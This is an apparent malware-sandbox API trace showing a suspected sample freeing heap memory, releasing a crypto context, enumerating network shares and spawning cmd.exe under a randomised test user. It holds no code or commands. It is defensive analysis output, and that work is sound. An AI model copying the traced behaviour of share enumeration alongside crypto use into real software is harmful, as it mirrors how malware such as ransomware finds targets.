[0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5a0 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5d0 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5c0 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5f0 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef5e0 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef610 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef600 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef630 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.555] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef620 | out: hHeap=0x2fd0000) returned 1 [0103.555] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef650 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef640 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef670 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef660 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed18 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef680 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6a0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef690 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6c0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6b0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6e0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6d0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed30 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef6f0 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef710 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef700 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef928 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef720 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef948 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef938 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.556] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef968 | out: hHeap=0x2fd0000) returned 1 [0103.556] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef958 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef988 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef978 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9a8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef998 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9c8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9b8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed48 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9d8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9f8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef9e8 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef2b0 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa08 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed60 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa18 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed78 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa28 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa48 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa38 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feed90 | out: hHeap=0x2fd0000) returned 1 [0103.557] GetProcessHeap () returned 0x2fd0000 [0103.557] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa58 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feeda8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa68 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef3f0 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feedc0 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa88 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2feedd8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa98 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef2d0 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefaa8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef2f0 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefab8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec948 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefac8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef830 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefad8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefaf8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefae8 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec998 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb08 | out: hHeap=0x2fd0000) returned 1 [0103.558] GetProcessHeap () returned 0x2fd0000 [0103.558] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb28 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb18 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb48 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb38 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefa78 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fef860 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fefb68 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fee498 | out: hHeap=0x2fd0000) returned 1 [0103.559] CryptReleaseContext (hProv=0x2fece38, dwFlags=0x0) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fec2c0 | out: hHeap=0x2fd0000) returned 1 [0103.559] GetProcessHeap () returned 0x2fd0000 [0103.559] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fe6978 | out: hHeap=0x2fd0000) returned 1 [0103.559] ExitProcess (uExitCode=0x0) [0105.316] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 7 os_tid = 0x738 [0062.714] GetProcessHeap () returned 0x2fd0000 [0062.714] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2ff09b0 [0062.714] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4a2ff4c | out: lphEnum=0x4a2ff4c*=0x2ff5608) returned 0x0 [0065.164] WNetEnumResourceW (in: hEnum=0x2ff5608, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x103 [0065.164] WNetCloseEnum (hEnum=0x2ff5608) returned 0x0 [0065.164] GetProcessHeap () returned 0x2fd0000 [0065.164] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff09b0 | out: hHeap=0x2fd0000) returned 1 [0065.164] GetProcessHeap () returned 0x2fd0000 [0065.164] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2ff09b0 [0065.164] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4a2ff4c | out: lphEnum=0x4a2ff4c*=0x2ff0078) returned 0x0 [0065.165] WNetEnumResourceW (in: hEnum=0x2ff0078, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x103 [0065.165] WNetCloseEnum (hEnum=0x2ff0078) returned 0x0 [0065.165] GetProcessHeap () returned 0x2fd0000 [0065.165] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff09b0 | out: hHeap=0x2fd0000) returned 1 [0065.165] GetProcessHeap () returned 0x2fd0000 [0065.165] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2ff09b0 [0065.165] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4a2ff4c | out: lphEnum=0x4a2ff4c*=0x2ff5608) returned 0x0 [0087.067] WNetEnumResourceW (in: hEnum=0x2ff5608, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x0 [0087.068] WNetEnumResourceW (in: hEnum=0x2ff5608, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x103 [0087.068] WNetCloseEnum (hEnum=0x2ff5608) returned 0x0 [0087.068] GetProcessHeap () returned 0x2fd0000 [0087.068] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff09b0 | out: hHeap=0x2fd0000) returned 1 [0087.068] GetProcessHeap () returned 0x2fd0000 [0087.068] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2ff09b0 [0087.068] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4a2ff4c | out: lphEnum=0x4a2ff4c*=0x2ff0098) returned 0x0 [0087.069] WNetEnumResourceW (in: hEnum=0x2ff0098, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x103 [0087.069] WNetCloseEnum (hEnum=0x2ff0098) returned 0x0 [0087.069] GetProcessHeap () returned 0x2fd0000 [0087.069] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff09b0 | out: hHeap=0x2fd0000) returned 1 [0087.069] GetProcessHeap () returned 0x2fd0000 [0087.069] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2ff09b0 [0087.069] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x4a2ff4c | out: lphEnum=0x4a2ff4c*=0x2fff2b0) returned 0x0 [0087.070] WNetEnumResourceW (in: hEnum=0x2fff2b0, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x0 [0087.070] GetProcessHeap () returned 0x2fd0000 [0087.070] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2fff358 [0087.070] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ff09b0, lphEnum=0x4a2ff14 | out: lphEnum=0x4a2ff14*=0x2ff0098) returned 0x0 [0088.587] WNetEnumResourceW (in: hEnum=0x2ff0098, lpcCount=0x4a2ff10, lpBuffer=0x2fff358, lpBufferSize=0x4a2ff18 | out: lpcCount=0x4a2ff10, lpBuffer=0x2fff358, lpBufferSize=0x4a2ff18) returned 0x103 [0088.587] WNetCloseEnum (hEnum=0x2ff0098) returned 0x0 [0088.587] GetProcessHeap () returned 0x2fd0000 [0088.587] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fff358 | out: hHeap=0x2fd0000) returned 1 [0088.587] GetProcessHeap () returned 0x2fd0000 [0088.588] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2fff358 [0088.588] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ff09d0, lphEnum=0x4a2ff14 | out: lphEnum=0x4a2ff14*=0x0) returned 0x4b8 [0103.547] GetProcessHeap () returned 0x2fd0000 [0103.548] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fff358 | out: hHeap=0x2fd0000) returned 1 [0103.548] GetProcessHeap () returned 0x2fd0000 [0103.548] RtlAllocateHeap (HeapHandle=0x2fd0000, Flags=0x0, Size=0x4000) returned 0x2fff358 [0103.548] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ff09f0, lphEnum=0x4a2ff14 | out: lphEnum=0x4a2ff14*=0x0) returned 0x4c6 [0103.550] GetProcessHeap () returned 0x2fd0000 [0103.550] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2fff358 | out: hHeap=0x2fd0000) returned 1 [0103.550] WNetEnumResourceW (in: hEnum=0x2fff2b0, lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50 | out: lpcCount=0x4a2ff48, lpBuffer=0x2ff09b0, lpBufferSize=0x4a2ff50) returned 0x103 [0103.550] WNetCloseEnum (hEnum=0x2fff2b0) returned 0x0 [0103.550] GetProcessHeap () returned 0x2fd0000 [0103.550] HeapFree (in: hHeap=0x2fd0000, dwFlags=0x0, lpMem=0x2ff09b0 | out: hHeap=0x2fd0000) returned 1 Thread: id = 27 os_tid = 0x938 Thread: id = 31 os_tid = 0x988 Thread: id = 167 os_tid = 0xb3c Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x39559000" os_pid = "0x730" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa30" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x78c [0061.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f8b0 | out: lpSystemTimeAsFileTime=0x14f8b0*(dwLowDateTime=0xe82ffd30, dwHighDateTime=0x1d62701)) [0061.956] GetCurrentProcessId () returned 0x730 [0061.956] GetCurrentThreadId () returned 0x78c [0061.956] GetTickCount () returned 0x1146e0f [0061.956] QueryPerformanceCounter (in: lpPerformanceCount=0x14f8b8 | out: lpPerformanceCount=0x14f8b8*=18215498996) returned 1 [0061.958] GetModuleHandleW (lpModuleName=0x0) returned 0x4a800000 [0061.958] __set_app_type (_Type=0x1) [0061.958] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a827810) returned 0x0 [0061.959] __getmainargs (in: _Argc=0x4a84a608, _Argv=0x4a84a618, _Env=0x4a84a610, _DoWildCard=0, _StartInfo=0x4a82e0f4 | out: _Argc=0x4a84a608, _Argv=0x4a84a618, _Env=0x4a84a610) returned 0 [0061.960] GetCurrentThreadId () returned 0x78c [0061.960] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x78c) returned 0x3c [0062.112] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0062.112] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0062.112] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.113] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0062.113] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f848 | out: phkResult=0x14f848*=0x0) returned 0x2 [0062.113] VirtualQuery (in: lpAddress=0x14f830, lpBuffer=0x14f7b0, dwLength=0x30 | out: lpBuffer=0x14f7b0*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.113] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f7b0, dwLength=0x30 | out: lpBuffer=0x14f7b0*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.113] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f7b0, dwLength=0x30 | out: lpBuffer=0x14f7b0*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.113] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14f7b0, dwLength=0x30 | out: lpBuffer=0x14f7b0*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.113] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f7b0, dwLength=0x30 | out: lpBuffer=0x14f7b0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0062.113] GetConsoleOutputCP () returned 0x1b5 [0062.113] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.114] SetConsoleCtrlHandler (HandlerRoutine=0x4a823184, Add=1) returned 1 [0062.114] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.114] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0062.114] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.114] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0062.115] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.115] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0062.115] GetEnvironmentStringsW () returned 0x1c8a60* [0062.115] GetProcessHeap () returned 0x1b0000 [0062.115] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa7c) returned 0x1c94f0 [0062.115] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0062.115] GetProcessHeap () returned 0x1b0000 [0062.115] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x8) returned 0x1c88e0 [0062.115] GetEnvironmentStringsW () returned 0x1c8a60* [0062.115] GetProcessHeap () returned 0x1b0000 [0062.115] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa7c) returned 0x1c9f80 [0062.116] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0062.116] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e708 | out: phkResult=0x14e708*=0x44) returned 0x0 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x18, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x1, lpcbData=0x14e704*=0x4) returned 0x0 